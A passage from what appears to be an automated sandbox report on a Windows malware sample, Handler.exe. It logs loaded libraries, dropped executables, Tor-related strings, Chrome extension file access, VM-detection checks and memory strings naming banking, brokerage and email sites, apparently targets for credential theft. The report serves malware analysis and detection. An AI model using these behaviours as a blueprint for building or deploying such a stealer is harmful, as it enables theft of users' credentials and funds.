Source: C:\Users\user\Desktop\Handler.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\ProgramData\5fctr1d2dt.exe	Section loaded: apphelp.dll
Source: C:\ProgramData\5fctr1d2dt.exe	Section loaded: version.dll
Source: C:\ProgramData\5fctr1d2dt.exe	Section loaded: mpr.dll
Source: C:\ProgramData\5fctr1d2dt.exe	Section loaded: netapi32.dll
Source: C:\ProgramData\5fctr1d2dt.exe	Section loaded: wininet.dll
Source: C:\ProgramData\5fctr1d2dt.exe	Section loaded: wsock32.dll
Source: C:\ProgramData\5fctr1d2dt.exe	Section loaded: iphlpapi.dll
Source: C:\ProgramData\5fctr1d2dt.exe	Section loaded: winmm.dll
Source: C:\ProgramData\5fctr1d2dt.exe	Section loaded: rasapi32.dll
Source: C:\ProgramData\5fctr1d2dt.exe	Section loaded: netapi32.dll
Source: C:\ProgramData\5fctr1d2dt.exe	Section loaded: avifil32.dll
Source: C:\ProgramData\5fctr1d2dt.exe	Section loaded: cryptui.dll
Source: C:\ProgramData\5fctr1d2dt.exe	Section loaded: wtsapi32.dll
Source: C:\ProgramData\5fctr1d2dt.exe	Section loaded: rasman.dll
Source: C:\ProgramData\5fctr1d2dt.exe	Section loaded: msvfw32.dll
Source: C:\ProgramData\5fctr1d2dt.exe	Section loaded: msacm32.dll
Source: C:\ProgramData\5fctr1d2dt.exe	Section loaded: winmmbase.dll
Source: C:\ProgramData\5fctr1d2dt.exe	Section loaded: winmmbase.dll
Source: C:\ProgramData\5fctr1d2dt.exe	Section loaded: netutils.dll
Source: C:\ProgramData\5fctr1d2dt.exe	Section loaded: samcli.dll
Source: C:\ProgramData\5fctr1d2dt.exe	Section loaded: pstorec.dll
Source: C:\ProgramData\5fctr1d2dt.exe	Section loaded: cryptsp.dll
Source: C:\ProgramData\5fctr1d2dt.exe	Section loaded: rsaenh.dll
Source: C:\ProgramData\5fctr1d2dt.exe	Section loaded: cryptbase.dll
Source: C:\ProgramData\5fctr1d2dt.exe	Section loaded: windows.storage.dll
Source: C:\ProgramData\5fctr1d2dt.exe	Section loaded: wldp.dll
Source: C:\ProgramData\5fctr1d2dt.exe	Section loaded: kernel.appcore.dll
Source: C:\ProgramData\5fctr1d2dt.exe	Section loaded: uxtheme.dll
Source: C:\ProgramData\5fctr1d2dt.exe	Section loaded: propsys.dll
Source: C:\ProgramData\5fctr1d2dt.exe	Section loaded: profapi.dll
Source: C:\ProgramData\5fctr1d2dt.exe	Section loaded: mswsock.dll
Source: C:\ProgramData\5fctr1d2dt.exe	Section loaded: winsta.dll
Source: C:\ProgramData\5fctr1d2dt.exe	Section loaded: firewallapi.dll
Source: C:\ProgramData\5fctr1d2dt.exe	Section loaded: dnsapi.dll
Source: C:\ProgramData\5fctr1d2dt.exe	Section loaded: fwbase.dll
Source: C:\ProgramData\5fctr1d2dt.exe	Section loaded: sxs.dll
Source: C:\ProgramData\5fctr1d2dt.exe	Section loaded: fwpolicyiomgr.dll
Source: C:\Windows\SysWOW64\timeout.exe	Section loaded: version.dll

Source: C:\Users\user\Desktop\Handler.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Google Drive.lnk.7.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.7.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.7.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.7.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.7.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.7.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: C:\ProgramData\5fctr1d2dt.exe

Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion RegisteredOwner

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: Handler.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: Handler.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: Handler.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: Kamnler.pdb source: Handler.exe, 00000000.00000002.2206669540.0000000003D09000.00000004.00000800.00020000.00000000.sdmp, Handler.exe, 00000000.00000000.2025548707.00000000008A2000.00000002.00000001.01000000.00000003.sdmp
Source:	Binary string: Kamnler.pdb(b>b 0b_CorExeMainmscoree.dll source: Handler.exe, 00000000.00000002.2206669540.0000000003D09000.00000004.00000800.00020000.00000000.sdmp, Handler.exe, 00000000.00000000.2025548707.00000000008A2000.00000002.00000001.01000000.00000003.sdmp

Source: Handler.exe

Static PE information: 0xC3D3DB3B [Fri Feb 9 22:35:39 2074 UTC]

Source: 5fctr1d2dt.exe.1.dr	Static PE information: section name: .didata
Source: CrypterTest1[1].exe.1.dr	Static PE information: section name: .didata

Source: C:\Users\user\Desktop\Handler.exe	Code function: 0_2_00F509E0 push esp; retf		0_2_00F509E1
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_004487CF push eax; ret		1_2_004487D0

Source: C:\Users\user\Desktop\Handler.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\CrypterTest1[1].exe			Jump to dropped file
Source: C:\Users\user\Desktop\Handler.exe	File created: C:\ProgramData\5fctr1d2dt.exe			Jump to dropped file

Source: C:\Users\user\Desktop\Handler.exe

File created: C:\ProgramData\5fctr1d2dt.exe

Jump to dropped file

Boot Survival

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Hooking and other Techniques for Hiding and Protection

May use the Tor software to hide its network traffic

Source: 5fctr1d2dt.exe, 00000016.00000000.2588541946.0000000000419000.00000020.00000001.01000000.00000015.sdmp

Binary or memory string: torConnect

Source: C:\Users\user\Desktop\Handler.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\Handler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\5fctr1d2dt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\5fctr1d2dt.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\ProgramData\5fctr1d2dt.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Users\user\Desktop\Handler.exe	Memory allocated: F50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Memory allocated: 2D00000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	Memory allocated: 2A60000 memory reserve \| memory write watch	Jump to behavior

Source: C:\ProgramData\5fctr1d2dt.exe	Window / User API: threadDelayed 1029
Source: C:\ProgramData\5fctr1d2dt.exe	Window / User API: threadDelayed 8833

Source: C:\ProgramData\5fctr1d2dt.exe TID: 6276	Thread sleep time: -2058000s >= -30000s
Source: C:\ProgramData\5fctr1d2dt.exe TID: 6276	Thread sleep time: -17666000s >= -30000s
Source: C:\Windows\SysWOW64\timeout.exe TID: 5228	Thread sleep count: 88 > 30

Source: C:\Users\user\Desktop\Handler.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0041008C FindFirstFileA,	1_2_0041008C
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_004291EA FindFirstFileA,	1_2_004291EA
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00428248 FindFirstFileA,memset,memset,	1_2_00428248
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0042A4E5 FindFirstFileA,	1_2_0042A4E5
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0040E749 FindFirstFileA,	1_2_0040E749
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0040177C FindFirstFileA,	1_2_0040177C
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_00412AC9 FindFirstFileA,	1_2_00412AC9
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0040CCEA FindFirstFileA,	1_2_0040CCEA
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_0042BD1E FindFirstFileA,	1_2_0042BD1E
Source: C:\Users\user\Desktop\Handler.exe	Code function: 1_2_004018DA FindFirstFileA,	1_2_004018DA

Source: C:\Users\user\Desktop\Handler.exe

Code function: 1_2_00428DDA GetLogicalDriveStringsA,

1_2_00428DDA

Source: C:\Users\user\Desktop\Handler.exe

Code function: 1_2_0041F9A3 GetSystemInfo,

1_2_0041F9A3

Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\Handler.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: chrome.exe, 00000007.00000002.2236844728.00001DFC02CB4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware
Source: Handler.exe, 00000001.00000002.2631166461.0000000004065000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: chrome.exe, 00000007.00000002.2238852282.00001DFC031B8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware Virtual USB Mouse
Source: Handler.exe, 00000001.00000002.2631166461.0000000004065000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: Handler.exe, 00000001.00000002.2631166461.0000000004065000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: Handler.exe, 00000001.00000002.2631166461.0000000004065000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: Handler.exe, 00000001.00000002.2631166461.0000000004065000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: Handler.exe, 00000001.00000002.2631166461.0000000004065000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: Handler.exe, 00000001.00000002.2627835905.00000000010D3000.00000004.00000020.00020000.00000000.sdmp, Handler.exe, 00000001.00000002.2627835905.0000000001078000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: msedge.exe, 0000000B.00000003.2265901344.0000563C00340000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: VMware20,1(
Source: Handler.exe, 00000001.00000002.2631166461.0000000004065000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: Handler.exe, 00000001.00000002.2631166461.0000000004065000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: Handler.exe, 00000001.00000002.2631166461.0000000004065000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: Handler.exe, 00000001.00000002.2631166461.0000000004065000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: Handler.exe, 00000001.00000002.2631166461.0000000004065000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: chrome.exe, 00000007.00000002.2220958595.0000017ABA6F8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}F@F
Source: Handler.exe, 00000001.00000002.2631166461.0000000004065000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: Handler.exe, 00000001.00000002.2631166461.0000000004065000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: Handler.exe, 00000001.00000002.2631166461.0000000004065000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: chrome.exe, 00000007.00000002.2235065272.00001DFC02900000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: USB device added: path=\\?\usb#vid_0e0f&pid_0003#5&2dda038&0&5#{a5dcbf10-6530-11d2-901f-00c04fb951ed} vendor=3599 "VMware", product=3 "VMware Virtual USB Mouse", serial="", driver="usbccgp", guid=b72d7221-29c9-48f6-8330-1606d1ae7c47
Source: Handler.exe, 00000001.00000002.2631166461.0000000004065000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: msedge.exe, 0000000B.00000002.2325446144.0000023600643000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Handler.exe, 00000001.00000002.2631166461.0000000004065000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: Handler.exe, 00000001.00000002.2631166461.0000000004065000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: Handler.exe, 00000001.00000002.2631166461.0000000004065000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
